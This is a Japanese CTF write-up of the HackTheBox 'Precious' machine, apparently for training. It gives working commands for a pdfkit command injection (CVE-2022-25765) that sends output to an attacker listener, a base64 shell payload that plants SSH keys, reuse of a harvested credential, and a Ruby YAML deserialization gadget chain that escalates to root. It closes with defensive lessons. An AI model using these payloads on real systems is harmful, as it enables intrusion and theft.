HackTheBox: Precious — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
22(SSH)/80(nginx)
pdfkit URLコマンド注入
CVE-2022-25765
→
CVE-2022-25765
SSH公開鍵注入
ruby ユーザー authorized_keys
→
ruby ユーザー authorized_keys
~/.bundle/config漏洩
henry:Q3c1AqGHtoI0aXAYFH
→
henry:Q3c1AqGHtoI0aXAYFH
SSH henry
user.txt ✓
→
user.txt ✓
sudo NOPASSWD ruby script
YAML.loadの安全でない読込
→
YAML.loadの安全でない読込
Rubyユニバーサルガジェット
Kernel.system呼出し
→
Kernel.system呼出し
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & vhostリダイレクトの確認
BASH
nmap -sV -sC -p 22,80 10.129.91.207 curl -sI http://10.129.91.207/
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 80/tcp open http nginx 1.18.0 HTTP/1.1 302 Moved Temporarily Location: http://precious.htb/
サイト内容の確認 — “URLをPDF化する”ツール
BASH
echo "10.129.91.207 precious.htb" | sudo tee -a /etc/hosts curl -s http://precious.htb/
RESULT
<title>Convert Web Page to PDF</title>
<h1 class="title">Convert Web Page to PDF</h1>
<form action="/" method="post">
<p>Enter URL to fetch</p><br>
<input type="text" name="url" value="">
<input type="submit" value="Submit">
</form>
ℹ️
入力したURLのページをPDF化してダウンロードさせてくれるシンプルなWebアプリ。
生成されたPDFのメタデータに
Creator (wkhtmltopdf 0.12.6)が含まれており、
Rubyのpdfkitgemが裏でwkhtmltopdfを呼び出していると分かる。
PHASE 2
pdfkit 0.8.6 のURLコマンドインジェクション (CVE-2022-25765)
脆弱性の概要
NOTE
pdfkit <= 0.8.7.2 は、PDF化対象のURLを検証する際、"file://" や相対パスは 弾くものの、URLの先頭に半角スペース(%20)を1つ入れるだけでそのチェックを バイパスできる。さらに、内部で wkhtmltopdf をシェル経由で呼び出す際に URL文字列をエスケープせずそのまま連結しているため、 バッククォート ` や $(...) を含むURLを渡すと任意のシェルコマンドが実行される。
コマンドインジェクションの確認(自前リスナーで id を確認)
BASH (Kali側リスナー)
python3 -m http.server 8899
BASH (注入リクエスト)
curl -s -X POST --data-urlencode \ 'url=http://10.10.15.200:8899/%20`id`' \ http://precious.htb/
RESULT (Kali側リスナーのアクセスログ)
10.129.91.207 - - [...] "GET /%20uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 404 -
✅
`id`の実行結果がそのままURL文字列に展開され、
攻撃者サーバーへのリクエストパスに現れた。これは「コマンドの出力結果を
URL文字列の一部として埋め込んだ上でそのURLにアクセスする」ことで、
レスポンスを一切介さずコマンド出力を確認できる典型的なブラインドRCE確認手法。
先頭の
%20(スペース)がpdfkitのURL検証バイパスに必要な部分。
実行ユーザーはrubyと判明。
PHASE 3
SSH公開鍵注入と .bundle/config からの資格情報発見
rubyユーザーにSSH公開鍵を注入
BASH
ssh-keygen -t ed25519 -f prec_key -N "" -q
PUBKEY=$(cat prec_key.pub)
CMD="mkdir -p /home/ruby/.ssh && echo '$PUBKEY' >> /home/ruby/.ssh/authorized_keys \
&& chmod 700 /home/ruby/.ssh && chmod 600 /home/ruby/.ssh/authorized_keys"
B64=$(echo -n "$CMD" | base64 -w0)
curl -s -X POST --data-urlencode \
"url=http://10.10.15.200:8899/%20\`echo ${B64}|base64 -d|sh\`" \
http://precious.htb/
ℹ️
このマシンでも他の多くのマシンと同様、複雑なコマンドはbase64でラップして
base64 -d|shに渡す方式が確実。バッククォート内に直接複雑な
コマンドを書くと引用符の衝突で壊れやすい。
注入した鍵でSSHログイン & Bundlerの資格情報を発見
BASH
ssh -i prec_key -o StrictHostKeyChecking=no ruby@10.129.91.207 \ "id; hostname; cat ~/.bundle/config"
RESULT
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby) precious --- BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
🚨
RubyGemsのプライベートリポジトリ認証用に
bundle configで
設定された資格情報が、OSアカウントhenryのログインパスワードとしても
そのまま使い回されている。~/.bundle/configはアプリ開発者が
よく見落とす「隠れた設定ファイル」の典型例。
PHASE 4
henryとしてSSHログイン & user.txt取得
henryでSSHログイン
BASH
sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@10.129.91.207 \ "id; cat /home/henry/user.txt"
RESULT
uid=1000(henry) gid=1000(henry) groups=1000(henry) f5ece6e3d6f1e65e3bef58c899e71330
user.txt — henry
f5ece6e3d6f1e65e3bef58c899e71330
PHASE 5
sudo権限の確認とYAML.loadの安全でない利用を発見
sudo -l でroot実行可能なスクリプトを確認
BASH
henry@precious:~$ sudo -l
RESULT
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
update_dependencies.rb のソースを確認
BASH
henry@precious:~$ cat /opt/update_dependencies.rb
RESULT
require "yaml"
require 'rubygems'
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
...
🚨
2つの問題が重なっている。①
YAML.load(Psych)は任意のRubyオブジェクトを
復元できてしまい、安全な読込専用のYAML.safe_loadではない
— 長年知られる「Rubyの安全でないYAMLデシリアライゼーション」問題の典型。
②読み込むファイル"dependencies.yml"が相対パスであり、
sudoはカレントディレクトリを引き継ぐため、
henryが好きな場所(例: /tmp)に自作のdependencies.ymlを
置いて、そのディレクトリでsudo ruby /opt/update_dependencies.rbを実行すれば、
root権限でそのファイルが読み込まれる。
PHASE 6
Rubyユニバーサルデシリアライゼーションガジェット & root.txt
悪意あるYAMLペイロードの作成
NOTE
Rubyのpsych/YAML向けに広く知られる「ユニバーサルRCEガジェットチェーン」を使う。 Gem::RequestSet のインスタンス変数 sets に Net::WriteAdapter オブジェクトを仕込み、 その socket に Kernel モジュール、method_id に :system を指定しておくと、 YAML読込後にライブラリ内部処理が走る過程で最終的に "Kernel.system(git_set の値)" が実行される、という連鎖。
BASH (dependencies.yml を作成しアップロード)
cat > dependencies.yml << 'EOF'
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "cp /root/root.txt /tmp/.rf && chmod 644 /tmp/.rf"
method_id: :resolve
EOF
b64=$(base64 -w0 dependencies.yml)
ssh henry@10.129.91.207 "echo '$b64' | base64 -d > /tmp/dependencies.yml"
ℹ️
実行したいコマンドは
git_setフィールドの値として渡す
(Gem::RequestSet#resolve内部の特定の処理経路がこの値を
最終的にsystem()へ渡すことを利用)。ここでは
/root/root.txtを世界読み取り可能な/tmp/.rfにコピーしている。
sudoでスクリプトを実行しガジェットを発火
BASH
henry@precious:~$ cd /tmp && sudo /usr/bin/ruby /opt/update_dependencies.rb henry@precious:~$ cat /tmp/.rf
RESULT
sh: 1: reading: not found
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
...(大量のスタックトレース。最終的に例外で異常終了するが、
system() 自体はその前に実行されている)...
from /opt/update_dependencies.rb:10:in `list_from_file'
9c0e65e743392e9e7e607ac49de185d5
✅
スクリプト自体は例外を吐いて異常終了するが、ガジェットチェーンが発火する過程で
Kernel.system("cp /root/root.txt /tmp/.rf && chmod 644 /tmp/.rf")が
root権限で既に実行済み。そのため最終的にクラッシュしても、
/tmp/.rfには既にroot.txtの中身がコピーされている。
root.txt — root (Ruby YAMLガジェット経由)
9c0e65e743392e9e7e607ac49de185d5
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — henry
f5ece6e3d6f1e65e3bef58c899e71330
root.txt — root
9c0e65e743392e9e7e607ac49de185d5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2022-25765 (pdfkit URLコマンドインジェクション) | pdfkit <= 0.8.7.2 ("Convert Web Page to PDF") | リモートコード実行(ruby権限) | Critical | URL先頭に%20を付けてファイル名検証を回避し、バッククォートでシェルコマンドを注入 |
| 設定ファイルの資格情報使い回し | ~/.bundle/config (RubyGems認証) | OSアカウント(henry)の乗っ取り | High | Bundler用プライベートgemリポジトリの認証情報がSSHパスワードとしても有効 |
| 安全でないYAMLデシリアライゼーション | /opt/update_dependencies.rb (sudo実行可) |
権限昇格(一般ユーザー → root) | Critical | YAML.load(非safe版)+相対パス読込を悪用し、Rubyの公知ユニバーサルガジェットチェーンでKernel.systemを呼び出す |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhostリダイレクト追跡 | 22(SSH)/80(nginx precious.htb) |
| 2 | RCE | pdfkit URLコマンドインジェクション | ruby権限での任意コマンド実行 |
| 3 | 横移動 | SSH鍵注入 + .bundle/config読取 | henry:Q3c1AqGHtoI0aXAYFH |
| 4 | フットホールド | SSH | user.txt(henry) |
| 5 | 権限調査 | sudo -l + スクリプト読取 | YAML.loadの安全でない利用を発見 |
| 6 | 権限昇格 | Rubyガジェットチェーン + sudo実行 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 外部ライブラリ(pdfkit)の既知脆弱性が未パッチのまま使用されている | 依存ライブラリ・gemは定期的に更新し、CVEデータベースと照合する。ユーザー制御のURLを外部コマンドに渡す設計自体を避ける。 |
| パッケージマネージャー用の認証情報がOSログインにも使い回されている | 用途ごとに独立した資格情報を発行し、使い回しを禁止する運用ルールを徹底する。 |
信頼できない入力に対しYAML.load(非safe)を使用 |
外部入力由来のYAMLは必ずYAML.safe_load(許可クラスのホワイトリスト指定)を使う。任意オブジェクト復元が必要な場面は原則存在しない。 |
| sudoで許可されたスクリプトが相対パスでファイルを読み込んでいる | root権限で実行されるスクリプトは、読み込むファイルを絶対パスで固定し、実行時のカレントディレクトリに依存しないようにする。 |

